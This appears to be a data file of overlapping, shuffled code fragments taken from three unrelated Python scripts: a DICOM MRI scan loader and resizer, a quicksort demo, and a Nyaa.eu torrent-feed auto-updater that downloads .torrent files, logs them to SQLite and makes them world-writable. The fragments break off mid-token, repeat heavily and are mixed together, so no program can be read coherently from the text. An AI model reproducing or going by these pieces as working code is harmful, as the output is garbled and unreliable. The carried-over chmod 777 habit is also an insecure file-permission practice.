Returns: None \"\"\" for i in range(len(patients_dcm)): print(patients_dcm[i][0].pixel_array.shape,", "the path to the directory containing the scans of all patients new_dimensions (list):", "in range(len(patients_dcm)): # we compare only the first slice because all of them", "max(lengths) min_length = min(lengths) max_height = max(heights) min_height = min(heights) print(\"Min length: {min_l}", "[] widths = [] heights = [] square = True scans_not_square = not_square(patients_dcm)", "'/' + s)] slices = [pydicom.read_file(path + '/' + s) for s in", "return [min_length, max_length], [min_width, max_width], [min_height, max_height] # Press the green button in", "# square = False # print(\"Not all images are squares\") for i in", "new_dimensions[2] delta_x = initial_size_x / new_size_x delta_y = initial_size_y / new_size_y delta_z =", "def get_extreme_dim(patients_dcm): \"\"\" This function gets the minimum and maximum dimensions of all", "of the slices that make up the scan Returns: scans_not_square (list): A list", "is used to load the MRI scans. Parameters: path (str): The path to", "print(patients_dcm[i][0].pixel_array.shape, len(patients_dcm[i])) def not_square(patients_dcm): \"\"\" This function tells us if all the slices", "patients_dcm[i][0].pixel_array.shape[1]: scans_not_square.append(i) print(\"Not all images are squares\") return scans_not_square def get_array(scan): ''' This", "get_extreme_dim(patients_dcm) patients = [] for patient in patients_dcm: patients.append(get_array(patient)) print(\"Dicom files converted to", "[] heights = [] square = True scans_not_square = not_square(patients_dcm) if len(scans_not_square) !=", "the gutter to run the script. if __name__ == '__main__': my_dir = os.getcwd()", "pat = load_data(my_dir, [20, 100, 100]) plt.imshow(pat[0][10, :, :]) plt.savefig('mri_scan.png') # See PyCharm", "to transform dicom images into numpy arrays with the desired dimensions Parameters: master_path", "for patient in patients_dcm: patients.append(get_array(patient)) print(\"Dicom files converted to numpy array\") patients_resized =", "to get the dimensions of all scans Parameters: patients_dcm (list): A list containing", "the script. if __name__ == '__main__': my_dir = os.getcwd() pat = load_data(my_dir, [20,", "of the new scan [z,x,y] Returns: new_data (numpy.ndarray): a numpy array with the", "important librarires import itertools import matplotlib.pyplot as plt import numpy as np import" ]
[ "right, arr[left] while l != r: while l < r and arr[r] >=", "= [random.randint(range_left, range_right) for _ in range(num)] print('Original array:') print(arr) quick_sort(arr, 0, len(arr)", "arr[left] while l != r: while l < r and arr[r] >= tmp:", "random def partition(arr, left, right): l, r, tmp = left, right, arr[left] while", "num = 20 range_left = 0 range_right = 10000 arr = [random.randint(range_left, range_right)", "range(num)] print('Original array:') print(arr) quick_sort(arr, 0, len(arr) - 1) print('Sorted array:') print(arr) if", "and arr[r] >= tmp: r -= 1 while l < r and arr[l]", "r and arr[r] >= tmp: r -= 1 while l < r and", "- 1) quick_sort(arr, pivot + 1, right) def main(): num = 20 range_left", "= partition(arr, left, right) quick_sort(arr, left, pivot - 1) quick_sort(arr, pivot + 1,", "quick_sort(arr, left, right): if left <= right: pivot = partition(arr, left, right) quick_sort(arr,", "!= r: while l < r and arr[r] >= tmp: r -= 1", "def quick_sort(arr, left, right): if left <= right: pivot = partition(arr, left, right)", "range_right = 10000 arr = [random.randint(range_left, range_right) for _ in range(num)] print('Original array:')", "1 arr[l], arr[r] = arr[r], arr[l] arr[l], arr[left] = arr[left], arr[l] return l", "r: while l < r and arr[r] >= tmp: r -= 1 while", "quick_sort(arr, left, pivot - 1) quick_sort(arr, pivot + 1, right) def main(): num", "right) quick_sort(arr, left, pivot - 1) quick_sort(arr, pivot + 1, right) def main():", "l != r: while l < r and arr[r] >= tmp: r -=", "r -= 1 while l < r and arr[l] <= tmp: l +=", "left, pivot - 1) quick_sort(arr, pivot + 1, right) def main(): num =", "+ 1, right) def main(): num = 20 range_left = 0 range_right =", "right: pivot = partition(arr, left, right) quick_sort(arr, left, pivot - 1) quick_sort(arr, pivot", "return l def quick_sort(arr, left, right): if left <= right: pivot = partition(arr,", "-= 1 while l < r and arr[l] <= tmp: l += 1", "tmp = left, right, arr[left] while l != r: while l < r", "arr[l], arr[r] = arr[r], arr[l] arr[l], arr[left] = arr[left], arr[l] return l def", "arr[r] = arr[r], arr[l] arr[l], arr[left] = arr[left], arr[l] return l def quick_sort(arr,", "0 range_right = 10000 arr = [random.randint(range_left, range_right) for _ in range(num)] print('Original", "partition(arr, left, right): l, r, tmp = left, right, arr[left] while l !=", "arr = [random.randint(range_left, range_right) for _ in range(num)] print('Original array:') print(arr) quick_sort(arr, 0,", "= 10000 arr = [random.randint(range_left, range_right) for _ in range(num)] print('Original array:') print(arr)", "range_left = 0 range_right = 10000 arr = [random.randint(range_left, range_right) for _ in", "quick_sort(arr, 0, len(arr) - 1) print('Sorted array:') print(arr) if __name__ == '__main__': main()", "1 while l < r and arr[l] <= tmp: l += 1 arr[l],", "l < r and arr[r] >= tmp: r -= 1 while l <", "while l < r and arr[l] <= tmp: l += 1 arr[l], arr[r]", "<= tmp: l += 1 arr[l], arr[r] = arr[r], arr[l] arr[l], arr[left] =", "1, right) def main(): num = 20 range_left = 0 range_right = 10000", "l, r, tmp = left, right, arr[left] while l != r: while l", "range_right) for _ in range(num)] print('Original array:') print(arr) quick_sort(arr, 0, len(arr) - 1)", "print('Original array:') print(arr) quick_sort(arr, 0, len(arr) - 1) print('Sorted array:') print(arr) if __name__", "print(arr) quick_sort(arr, 0, len(arr) - 1) print('Sorted array:') print(arr) if __name__ == '__main__':", "import random def partition(arr, left, right): l, r, tmp = left, right, arr[left]", "10000 arr = [random.randint(range_left, range_right) for _ in range(num)] print('Original array:') print(arr) quick_sort(arr,", "left, right) quick_sort(arr, left, pivot - 1) quick_sort(arr, pivot + 1, right) def", ">= tmp: r -= 1 while l < r and arr[l] <= tmp:", "quick_sort(arr, pivot + 1, right) def main(): num = 20 range_left = 0", "= left, right, arr[left] while l != r: while l < r and", "arr[l] <= tmp: l += 1 arr[l], arr[r] = arr[r], arr[l] arr[l], arr[left]", "= 20 range_left = 0 range_right = 10000 arr = [random.randint(range_left, range_right) for", "pivot + 1, right) def main(): num = 20 range_left = 0 range_right", "in range(num)] print('Original array:') print(arr) quick_sort(arr, 0, len(arr) - 1) print('Sorted array:') print(arr)", "for _ in range(num)] print('Original array:') print(arr) quick_sort(arr, 0, len(arr) - 1) print('Sorted", "arr[l] return l def quick_sort(arr, left, right): if left <= right: pivot =", "1) quick_sort(arr, pivot + 1, right) def main(): num = 20 range_left =", "l def quick_sort(arr, left, right): if left <= right: pivot = partition(arr, left,", "left, right): if left <= right: pivot = partition(arr, left, right) quick_sort(arr, left,", "tmp: l += 1 arr[l], arr[r] = arr[r], arr[l] arr[l], arr[left] = arr[left],", "def main(): num = 20 range_left = 0 range_right = 10000 arr =", "left, right): l, r, tmp = left, right, arr[left] while l != r:", "while l != r: while l < r and arr[r] >= tmp: r", "arr[left] = arr[left], arr[l] return l def quick_sort(arr, left, right): if left <=", "_ in range(num)] print('Original array:') print(arr) quick_sort(arr, 0, len(arr) - 1) print('Sorted array:')", "arr[l] arr[l], arr[left] = arr[left], arr[l] return l def quick_sort(arr, left, right): if", "and arr[l] <= tmp: l += 1 arr[l], arr[r] = arr[r], arr[l] arr[l],", "r, tmp = left, right, arr[left] while l != r: while l <", "while l < r and arr[r] >= tmp: r -= 1 while l", "< r and arr[l] <= tmp: l += 1 arr[l], arr[r] = arr[r],", "arr[l], arr[left] = arr[left], arr[l] return l def quick_sort(arr, left, right): if left", "l < r and arr[l] <= tmp: l += 1 arr[l], arr[r] =", "r and arr[l] <= tmp: l += 1 arr[l], arr[r] = arr[r], arr[l]", "right): if left <= right: pivot = partition(arr, left, right) quick_sort(arr, left, pivot", "tmp: r -= 1 while l < r and arr[l] <= tmp: l", "main(): num = 20 range_left = 0 range_right = 10000 arr = [random.randint(range_left,", "arr[r], arr[l] arr[l], arr[left] = arr[left], arr[l] return l def quick_sort(arr, left, right):", "partition(arr, left, right) quick_sort(arr, left, pivot - 1) quick_sort(arr, pivot + 1, right)", "left, right, arr[left] while l != r: while l < r and arr[r]", "= arr[left], arr[l] return l def quick_sort(arr, left, right): if left <= right:", "pivot = partition(arr, left, right) quick_sort(arr, left, pivot - 1) quick_sort(arr, pivot +", "pivot - 1) quick_sort(arr, pivot + 1, right) def main(): num = 20", "right) def main(): num = 20 range_left = 0 range_right = 10000 arr", "<= right: pivot = partition(arr, left, right) quick_sort(arr, left, pivot - 1) quick_sort(arr,", "= arr[r], arr[l] arr[l], arr[left] = arr[left], arr[l] return l def quick_sort(arr, left,", "arr[left], arr[l] return l def quick_sort(arr, left, right): if left <= right: pivot", "< r and arr[r] >= tmp: r -= 1 while l < r", "left <= right: pivot = partition(arr, left, right) quick_sort(arr, left, pivot - 1)", "20 range_left = 0 range_right = 10000 arr = [random.randint(range_left, range_right) for _", "arr[r] >= tmp: r -= 1 while l < r and arr[l] <=", "[random.randint(range_left, range_right) for _ in range(num)] print('Original array:') print(arr) quick_sort(arr, 0, len(arr) -", "= 0 range_right = 10000 arr = [random.randint(range_left, range_right) for _ in range(num)]", "right): l, r, tmp = left, right, arr[left] while l != r: while", "+= 1 arr[l], arr[r] = arr[r], arr[l] arr[l], arr[left] = arr[left], arr[l] return", "def partition(arr, left, right): l, r, tmp = left, right, arr[left] while l", "array:') print(arr) quick_sort(arr, 0, len(arr) - 1) print('Sorted array:') print(arr) if __name__ ==", "if left <= right: pivot = partition(arr, left, right) quick_sort(arr, left, pivot -", "l += 1 arr[l], arr[r] = arr[r], arr[l] arr[l], arr[left] = arr[left], arr[l]" ]
[ "__name__ == \"__main__\": db = NyaaSQLiteDB(DBNAME) links, updates = update(db) if (links): print", "= 0, 0 for key, value in data.items(): temp[key] = value n =", "DOWNLOAD_DIR = '/home/pi/download/update/' NUM_UPDATER = 4 NUM_DOWNLOADER = 4 class DownloadJob(Thread): def __init__(self,", "{} links, updates = [], {} for job in jobs: job.join() links =", "finish def update(db): data = db.load() # divide check series updates into NUM_UPDATER", "NULL, pubdate TEXT NOT NULL)') conn.executemany('INSERT INTO updates(series_name, filename, url, pubdate) VALUES (?,", "url, pubdate) VALUES (?, ?, ?, ?)', links) conn.commit() db.close() # divide .torrent", "in jobs: job.join() links = links + job.links updates.update(job.updates) # all series checked", "url = DOWNLOAD_DIR + link[1] + \".torrent\", link[2] download(url, filename) os.chmod(filename, stat.S_IRWXU |", "filename, url = DOWNLOAD_DIR + link[1] + \".torrent\", link[2] download(url, filename) os.chmod(filename, stat.S_IRWXU", "db_updates(db, links, updates): db.update(updates) # update `series` table # update `updates` table conn", "links + job.links updates.update(job.updates) # all series checked return links, updates if __name__", "import os, stat DBNAME = '/home/pi/db/nyaa.db' DOWNLOAD_DIR = '/home/pi/download/update/' NUM_UPDATER = 4 NUM_DOWNLOADER", "[], {} for job in jobs: job.join() links = links + job.links updates.update(job.updates)", "feeds[n]['name'], feeds[n]['link'], feeds[n]['date'])) n = n + 1 if (n != 0): self.updates[series]", "+ job.links updates.update(job.updates) # all series checked return links, updates if __name__ ==", "jobs.append(job) job.start() temp = {} links, updates = [], {} for job in", "NUM_UPDATER threads item_per_job = len(data) / NUM_UPDATER + (0 if len(data) % NUM_UPDATER", "0): self.updates[series] = [None, None, feeds[0]['name']] def db_updates(db, links, updates): db.update(updates) # update", "self.db = db def run(self): self.links = [] self.updates = {} for series,", "+ (0 if len(links) % NUM_DOWNLOADER == 0 else 1) temp, jobs =", "\"\"\" from nyaa_parser import fetch, download from nyaa_db import NyaaSQLiteDB from threading import", "link[1] + \".torrent\", link[2] download(url, filename) os.chmod(filename, stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO) class", "__init__(self, links): Thread.__init__(self) self.links = links def run(self): for link in self.links: filename,", "or total == len(data)): n = 0 job = UpdaterJob(temp) jobs.append(job) job.start() temp", "pattern) if (feeds): n = 0 while(n < len(feeds) and feeds[n]['name'] != last):", "= {}, [] n, total = 0, 0 for key, value in data.items():", "# update `series` table # update `updates` table conn = db.connect() conn.execute('CREATE TABLE", "for key, value in data.items(): temp[key] = value n = n + 1", "val[2] feeds = fetch(url, pattern) if (feeds): n = 0 while(n < len(feeds)", "feeds[n]['date'])) n = n + 1 if (n != 0): self.updates[series] = [None,", "TEXT NOT NULL)') conn.executemany('INSERT INTO updates(series_name, filename, url, pubdate) VALUES (?, ?, ?,", "if (n != 0): self.updates[series] = [None, None, feeds[0]['name']] def db_updates(db, links, updates):", "in jobs: job.join() # all download finish def update(db): data = db.load() #", "= 4 NUM_DOWNLOADER = 4 class DownloadJob(Thread): def __init__(self, links): Thread.__init__(self) self.links =", "= val[0], val[1], val[2] feeds = fetch(url, pattern) if (feeds): n = 0", "# update `updates` table conn = db.connect() conn.execute('CREATE TABLE IF NOT EXISTS updates", "feeds[0]['name']] def db_updates(db, links, updates): db.update(updates) # update `series` table # update `updates`", "or total == len(links)): n = 0 job = DownloadJob(temp) jobs.append(job) job.start() temp", "conn.executemany('INSERT INTO updates(series_name, filename, url, pubdate) VALUES (?, ?, ?, ?)', links) conn.commit()", "updates = [], {} for job in jobs: job.join() links = links +", "item_per_job = len(data) / NUM_UPDATER + (0 if len(data) % NUM_UPDATER == 0", "# all download finish def update(db): data = db.load() # divide check series", "fetch(url, pattern) if (feeds): n = 0 while(n < len(feeds) and feeds[n]['name'] !=", "update(db): data = db.load() # divide check series updates into NUM_UPDATER threads item_per_job", "updates): db.update(updates) # update `series` table # update `updates` table conn = db.connect()", "!= 0): self.updates[series] = [None, None, feeds[0]['name']] def db_updates(db, links, updates): db.update(updates) #", "n = 0 job = UpdaterJob(temp) jobs.append(job) job.start() temp = {} links, updates", "table # update `updates` table conn = db.connect() conn.execute('CREATE TABLE IF NOT EXISTS", "feeds = fetch(url, pattern) if (feeds): n = 0 while(n < len(feeds) and", "temp, jobs = [], [] n, total = 0, 0 for link in", "def __init__(self, db): Thread.__init__(self) self.db = db def run(self): self.links = [] self.updates", "else 1) temp, jobs = {}, [] n, total = 0, 0 for", "NUM_DOWNLOADER = 4 class DownloadJob(Thread): def __init__(self, links): Thread.__init__(self) self.links = links def", "+ 1 total = total + 1 if (n==item_per_job or total == len(data)):", "if (n==item_per_job or total == len(data)): n = 0 job = UpdaterJob(temp) jobs.append(job)", "n + 1 total = total + 1 if (n==item_per_job or total ==", "download(url, filename) os.chmod(filename, stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO) class UpdaterJob(Thread): def __init__(self, db):", "NUM_DOWNLOADER + (0 if len(links) % NUM_DOWNLOADER == 0 else 1) temp, jobs", "updates into NUM_UPDATER threads item_per_job = len(data) / NUM_UPDATER + (0 if len(data)", "/ NUM_DOWNLOADER + (0 if len(links) % NUM_DOWNLOADER == 0 else 1) temp,", "filename TEXT NOT NULL, url TEXT NOT NULL, pubdate TEXT NOT NULL)') conn.executemany('INSERT", "in data.items(): temp[key] = value n = n + 1 total = total", "all download finish def update(db): data = db.load() # divide check series updates", "if(n==item_per_job or total == len(links)): n = 0 job = DownloadJob(temp) jobs.append(job) job.start()", "= n + 1, total + 1 if(n==item_per_job or total == len(links)): n", "Feed Auto Updater <NAME> (faizilham.com) 2013 \"\"\" from nyaa_parser import fetch, download from", "table conn = db.connect() conn.execute('CREATE TABLE IF NOT EXISTS updates (id_update INTEGER PRIMARY", "% NUM_DOWNLOADER == 0 else 1) temp, jobs = [], [] n, total", "len(links) % NUM_DOWNLOADER == 0 else 1) temp, jobs = [], [] n,", "link in links: temp.append(link) n, total = n + 1, total + 1", "n = 0 while(n < len(feeds) and feeds[n]['name'] != last): self.links.append((series, feeds[n]['name'], feeds[n]['link'],", "check series updates into NUM_UPDATER threads item_per_job = len(data) / NUM_UPDATER + (0", "self.links: filename, url = DOWNLOAD_DIR + link[1] + \".torrent\", link[2] download(url, filename) os.chmod(filename,", "/ NUM_UPDATER + (0 if len(data) % NUM_UPDATER == 0 else 1) temp,", "= DownloadJob(temp) jobs.append(job) job.start() temp = [] for job in jobs: job.join() #", "python \"\"\" Nyaa.eu Feed Auto Updater <NAME> (faizilham.com) 2013 \"\"\" from nyaa_parser import", "[] for job in jobs: job.join() # all download finish def update(db): data", "Thread.__init__(self) self.db = db def run(self): self.links = [] self.updates = {} for", "[] self.updates = {} for series, val in self.db.items(): url, pattern, last =", "IF NOT EXISTS updates (id_update INTEGER PRIMARY KEY AUTOINCREMENT, series_name TEXT NOT NULL,", "data = db.load() # divide check series updates into NUM_UPDATER threads item_per_job =", "db.update(updates) # update `series` table # update `updates` table conn = db.connect() conn.execute('CREATE", "__init__(self, db): Thread.__init__(self) self.db = db def run(self): self.links = [] self.updates =", "all series checked return links, updates if __name__ == \"__main__\": db = NyaaSQLiteDB(DBNAME)", "total = n + 1, total + 1 if(n==item_per_job or total == len(links)):", "stat.S_IRWXG | stat.S_IRWXO) class UpdaterJob(Thread): def __init__(self, db): Thread.__init__(self) self.db = db def", "== len(data)): n = 0 job = UpdaterJob(temp) jobs.append(job) job.start() temp = {}", "jobs.append(job) job.start() temp = [] for job in jobs: job.join() # all download", "= 0 while(n < len(feeds) and feeds[n]['name'] != last): self.links.append((series, feeds[n]['name'], feeds[n]['link'], feeds[n]['date']))", "= [None, None, feeds[0]['name']] def db_updates(db, links, updates): db.update(updates) # update `series` table", "self.links.append((series, feeds[n]['name'], feeds[n]['link'], feeds[n]['date'])) n = n + 1 if (n != 0):", "DBNAME = '/home/pi/db/nyaa.db' DOWNLOAD_DIR = '/home/pi/download/update/' NUM_UPDATER = 4 NUM_DOWNLOADER = 4 class", "NOT NULL, url TEXT NOT NULL, pubdate TEXT NOT NULL)') conn.executemany('INSERT INTO updates(series_name,", "updates(series_name, filename, url, pubdate) VALUES (?, ?, ?, ?)', links) conn.commit() db.close() #", "last): self.links.append((series, feeds[n]['name'], feeds[n]['link'], feeds[n]['date'])) n = n + 1 if (n !=", "if (feeds): n = 0 while(n < len(feeds) and feeds[n]['name'] != last): self.links.append((series,", "link in self.links: filename, url = DOWNLOAD_DIR + link[1] + \".torrent\", link[2] download(url,", "url, pattern, last = val[0], val[1], val[2] feeds = fetch(url, pattern) if (feeds):", "threads item_per_job = len(data) / NUM_UPDATER + (0 if len(data) % NUM_UPDATER ==", "updates.update(job.updates) # all series checked return links, updates if __name__ == \"__main__\": db", "NOT EXISTS updates (id_update INTEGER PRIMARY KEY AUTOINCREMENT, series_name TEXT NOT NULL, filename", "Thread.__init__(self) self.links = links def run(self): for link in self.links: filename, url =", "len(feeds) and feeds[n]['name'] != last): self.links.append((series, feeds[n]['name'], feeds[n]['link'], feeds[n]['date'])) n = n +", "val[1], val[2] feeds = fetch(url, pattern) if (feeds): n = 0 while(n <", "`series` table # update `updates` table conn = db.connect() conn.execute('CREATE TABLE IF NOT", "def __init__(self, links): Thread.__init__(self) self.links = links def run(self): for link in self.links:", "nyaa_parser import fetch, download from nyaa_db import NyaaSQLiteDB from threading import Thread import", "return links, updates if __name__ == \"__main__\": db = NyaaSQLiteDB(DBNAME) links, updates =", "NOT NULL)') conn.executemany('INSERT INTO updates(series_name, filename, url, pubdate) VALUES (?, ?, ?, ?)',", "?, ?, ?)', links) conn.commit() db.close() # divide .torrent downloads into NUM_DOWNLOADER threads", "job.join() links = links + job.links updates.update(job.updates) # all series checked return links,", "4 NUM_DOWNLOADER = 4 class DownloadJob(Thread): def __init__(self, links): Thread.__init__(self) self.links = links", "= 0 job = DownloadJob(temp) jobs.append(job) job.start() temp = [] for job in", "pattern, last = val[0], val[1], val[2] feeds = fetch(url, pattern) if (feeds): n", "= '/home/pi/db/nyaa.db' DOWNLOAD_DIR = '/home/pi/download/update/' NUM_UPDATER = 4 NUM_DOWNLOADER = 4 class DownloadJob(Thread):", ".torrent downloads into NUM_DOWNLOADER threads item_per_job = len(links) / NUM_DOWNLOADER + (0 if", "= 4 class DownloadJob(Thread): def __init__(self, links): Thread.__init__(self) self.links = links def run(self):", "(id_update INTEGER PRIMARY KEY AUTOINCREMENT, series_name TEXT NOT NULL, filename TEXT NOT NULL,", "= db.connect() conn.execute('CREATE TABLE IF NOT EXISTS updates (id_update INTEGER PRIMARY KEY AUTOINCREMENT,", "None, feeds[0]['name']] def db_updates(db, links, updates): db.update(updates) # update `series` table # update", "divide check series updates into NUM_UPDATER threads item_per_job = len(data) / NUM_UPDATER +", "filename, url, pubdate) VALUES (?, ?, ?, ?)', links) conn.commit() db.close() # divide", "item_per_job = len(links) / NUM_DOWNLOADER + (0 if len(links) % NUM_DOWNLOADER == 0", "= 0, 0 for link in links: temp.append(link) n, total = n +", "conn = db.connect() conn.execute('CREATE TABLE IF NOT EXISTS updates (id_update INTEGER PRIMARY KEY", "temp[key] = value n = n + 1 total = total + 1", "NUM_UPDATER == 0 else 1) temp, jobs = {}, [] n, total =", "import NyaaSQLiteDB from threading import Thread import os, stat DBNAME = '/home/pi/db/nyaa.db' DOWNLOAD_DIR", "job = DownloadJob(temp) jobs.append(job) job.start() temp = [] for job in jobs: job.join()", "NUM_UPDATER + (0 if len(data) % NUM_UPDATER == 0 else 1) temp, jobs", "0 else 1) temp, jobs = {}, [] n, total = 0, 0", "== 0 else 1) temp, jobs = {}, [] n, total = 0,", "self.db.items(): url, pattern, last = val[0], val[1], val[2] feeds = fetch(url, pattern) if", "= db def run(self): self.links = [] self.updates = {} for series, val", "stat DBNAME = '/home/pi/db/nyaa.db' DOWNLOAD_DIR = '/home/pi/download/update/' NUM_UPDATER = 4 NUM_DOWNLOADER = 4", "def run(self): for link in self.links: filename, url = DOWNLOAD_DIR + link[1] +", "= db.load() # divide check series updates into NUM_UPDATER threads item_per_job = len(data)", "= fetch(url, pattern) if (feeds): n = 0 while(n < len(feeds) and feeds[n]['name']", "pubdate TEXT NOT NULL)') conn.executemany('INSERT INTO updates(series_name, filename, url, pubdate) VALUES (?, ?,", "[None, None, feeds[0]['name']] def db_updates(db, links, updates): db.update(updates) # update `series` table #", "divide .torrent downloads into NUM_DOWNLOADER threads item_per_job = len(links) / NUM_DOWNLOADER + (0", "update `series` table # update `updates` table conn = db.connect() conn.execute('CREATE TABLE IF", "url TEXT NOT NULL, pubdate TEXT NOT NULL)') conn.executemany('INSERT INTO updates(series_name, filename, url,", "n = 0 job = DownloadJob(temp) jobs.append(job) job.start() temp = [] for job", "self.links = links def run(self): for link in self.links: filename, url = DOWNLOAD_DIR", "= len(links) / NUM_DOWNLOADER + (0 if len(links) % NUM_DOWNLOADER == 0 else", "for link in links: temp.append(link) n, total = n + 1, total +", "(n != 0): self.updates[series] = [None, None, feeds[0]['name']] def db_updates(db, links, updates): db.update(updates)", "# all series checked return links, updates if __name__ == \"__main__\": db =", "download finish def update(db): data = db.load() # divide check series updates into", "jobs = [], [] n, total = 0, 0 for link in links:", "1 if (n==item_per_job or total == len(data)): n = 0 job = UpdaterJob(temp)", "INTO updates(series_name, filename, url, pubdate) VALUES (?, ?, ?, ?)', links) conn.commit() db.close()", "n + 1 if (n != 0): self.updates[series] = [None, None, feeds[0]['name']] def", "for series, val in self.db.items(): url, pattern, last = val[0], val[1], val[2] feeds", "os.chmod(filename, stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO) class UpdaterJob(Thread): def __init__(self, db): Thread.__init__(self) self.db", "total + 1 if (n==item_per_job or total == len(data)): n = 0 job", "= total + 1 if (n==item_per_job or total == len(data)): n = 0", "series, val in self.db.items(): url, pattern, last = val[0], val[1], val[2] feeds =", "into NUM_DOWNLOADER threads item_per_job = len(links) / NUM_DOWNLOADER + (0 if len(links) %", "job in jobs: job.join() # all download finish def update(db): data = db.load()", "'/home/pi/download/update/' NUM_UPDATER = 4 NUM_DOWNLOADER = 4 class DownloadJob(Thread): def __init__(self, links): Thread.__init__(self)", "value n = n + 1 total = total + 1 if (n==item_per_job", "+ link[1] + \".torrent\", link[2] download(url, filename) os.chmod(filename, stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO)", "update `updates` table conn = db.connect() conn.execute('CREATE TABLE IF NOT EXISTS updates (id_update", "# divide check series updates into NUM_UPDATER threads item_per_job = len(data) / NUM_UPDATER", "NOT NULL, pubdate TEXT NOT NULL)') conn.executemany('INSERT INTO updates(series_name, filename, url, pubdate) VALUES", "(0 if len(data) % NUM_UPDATER == 0 else 1) temp, jobs = {},", "temp.append(link) n, total = n + 1, total + 1 if(n==item_per_job or total", "0 for link in links: temp.append(link) n, total = n + 1, total", "def run(self): self.links = [] self.updates = {} for series, val in self.db.items():", "db): Thread.__init__(self) self.db = db def run(self): self.links = [] self.updates = {}", "(?, ?, ?, ?)', links) conn.commit() db.close() # divide .torrent downloads into NUM_DOWNLOADER", "len(links)): n = 0 job = DownloadJob(temp) jobs.append(job) job.start() temp = [] for", "updates = update(db) if (links): print len(links), \"new updates found\" db_updates(db, links, updates)", "+ \".torrent\", link[2] download(url, filename) os.chmod(filename, stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO) class UpdaterJob(Thread):", "{}, [] n, total = 0, 0 for key, value in data.items(): temp[key]", "db.close() # divide .torrent downloads into NUM_DOWNLOADER threads item_per_job = len(links) / NUM_DOWNLOADER", "#!/usr/bin/env python \"\"\" Nyaa.eu Feed Auto Updater <NAME> (faizilham.com) 2013 \"\"\" from nyaa_parser", "AUTOINCREMENT, series_name TEXT NOT NULL, filename TEXT NOT NULL, url TEXT NOT NULL,", "in links: temp.append(link) n, total = n + 1, total + 1 if(n==item_per_job", "TEXT NOT NULL, url TEXT NOT NULL, pubdate TEXT NOT NULL)') conn.executemany('INSERT INTO", "links = links + job.links updates.update(job.updates) # all series checked return links, updates", "links: temp.append(link) n, total = n + 1, total + 1 if(n==item_per_job or", "links) conn.commit() db.close() # divide .torrent downloads into NUM_DOWNLOADER threads item_per_job = len(links)", "key, value in data.items(): temp[key] = value n = n + 1 total", "1 if (n != 0): self.updates[series] = [None, None, feeds[0]['name']] def db_updates(db, links,", "self.updates = {} for series, val in self.db.items(): url, pattern, last = val[0],", "n, total = n + 1, total + 1 if(n==item_per_job or total ==", "DownloadJob(temp) jobs.append(job) job.start() temp = [] for job in jobs: job.join() # all", "1 total = total + 1 if (n==item_per_job or total == len(data)): n", "= [], {} for job in jobs: job.join() links = links + job.links", "run(self): for link in self.links: filename, url = DOWNLOAD_DIR + link[1] + \".torrent\",", "import fetch, download from nyaa_db import NyaaSQLiteDB from threading import Thread import os,", "os, stat DBNAME = '/home/pi/db/nyaa.db' DOWNLOAD_DIR = '/home/pi/download/update/' NUM_UPDATER = 4 NUM_DOWNLOADER =", "1) temp, jobs = [], [] n, total = 0, 0 for link", "= n + 1 total = total + 1 if (n==item_per_job or total", "if __name__ == \"__main__\": db = NyaaSQLiteDB(DBNAME) links, updates = update(db) if (links):", "in self.db.items(): url, pattern, last = val[0], val[1], val[2] feeds = fetch(url, pattern)", "TABLE IF NOT EXISTS updates (id_update INTEGER PRIMARY KEY AUTOINCREMENT, series_name TEXT NOT", "from nyaa_parser import fetch, download from nyaa_db import NyaaSQLiteDB from threading import Thread", "+ (0 if len(data) % NUM_UPDATER == 0 else 1) temp, jobs =", "for job in jobs: job.join() links = links + job.links updates.update(job.updates) # all", "{} for series, val in self.db.items(): url, pattern, last = val[0], val[1], val[2]", "% NUM_UPDATER == 0 else 1) temp, jobs = {}, [] n, total", "download from nyaa_db import NyaaSQLiteDB from threading import Thread import os, stat DBNAME", "db = NyaaSQLiteDB(DBNAME) links, updates = update(db) if (links): print len(links), \"new updates", "0 job = UpdaterJob(temp) jobs.append(job) job.start() temp = {} links, updates = [],", "{} for job in jobs: job.join() links = links + job.links updates.update(job.updates) #", "4 class DownloadJob(Thread): def __init__(self, links): Thread.__init__(self) self.links = links def run(self): for", "0 for key, value in data.items(): temp[key] = value n = n +", "links, updates if __name__ == \"__main__\": db = NyaaSQLiteDB(DBNAME) links, updates = update(db)", "KEY AUTOINCREMENT, series_name TEXT NOT NULL, filename TEXT NOT NULL, url TEXT NOT", "len(data) / NUM_UPDATER + (0 if len(data) % NUM_UPDATER == 0 else 1)", "NULL)') conn.executemany('INSERT INTO updates(series_name, filename, url, pubdate) VALUES (?, ?, ?, ?)', links)", "\".torrent\", link[2] download(url, filename) os.chmod(filename, stat.S_IRWXU | stat.S_IRWXG | stat.S_IRWXO) class UpdaterJob(Thread): def", "TEXT NOT NULL, pubdate TEXT NOT NULL)') conn.executemany('INSERT INTO updates(series_name, filename, url, pubdate)", "from nyaa_db import NyaaSQLiteDB from threading import Thread import os, stat DBNAME =", "run(self): self.links = [] self.updates = {} for series, val in self.db.items(): url,", "NyaaSQLiteDB(DBNAME) links, updates = update(db) if (links): print len(links), \"new updates found\" db_updates(db,", "for job in jobs: job.join() # all download finish def update(db): data =", "0, 0 for key, value in data.items(): temp[key] = value n = n", "INTEGER PRIMARY KEY AUTOINCREMENT, series_name TEXT NOT NULL, filename TEXT NOT NULL, url", "0 else 1) temp, jobs = [], [] n, total = 0, 0", "jobs = {}, [] n, total = 0, 0 for key, value in", "db.load() # divide check series updates into NUM_UPDATER threads item_per_job = len(data) /", "self.updates[series] = [None, None, feeds[0]['name']] def db_updates(db, links, updates): db.update(updates) # update `series`", "1) temp, jobs = {}, [] n, total = 0, 0 for key,", "links, updates = [], {} for job in jobs: job.join() links = links", "'/home/pi/db/nyaa.db' DOWNLOAD_DIR = '/home/pi/download/update/' NUM_UPDATER = 4 NUM_DOWNLOADER = 4 class DownloadJob(Thread): def", "< len(feeds) and feeds[n]['name'] != last): self.links.append((series, feeds[n]['name'], feeds[n]['link'], feeds[n]['date'])) n = n", "n, total = 0, 0 for link in links: temp.append(link) n, total =", "== \"__main__\": db = NyaaSQLiteDB(DBNAME) links, updates = update(db) if (links): print len(links),", "[] n, total = 0, 0 for key, value in data.items(): temp[key] =", "stat.S_IRWXO) class UpdaterJob(Thread): def __init__(self, db): Thread.__init__(self) self.db = db def run(self): self.links", "in self.links: filename, url = DOWNLOAD_DIR + link[1] + \".torrent\", link[2] download(url, filename)", "job in jobs: job.join() links = links + job.links updates.update(job.updates) # all series", 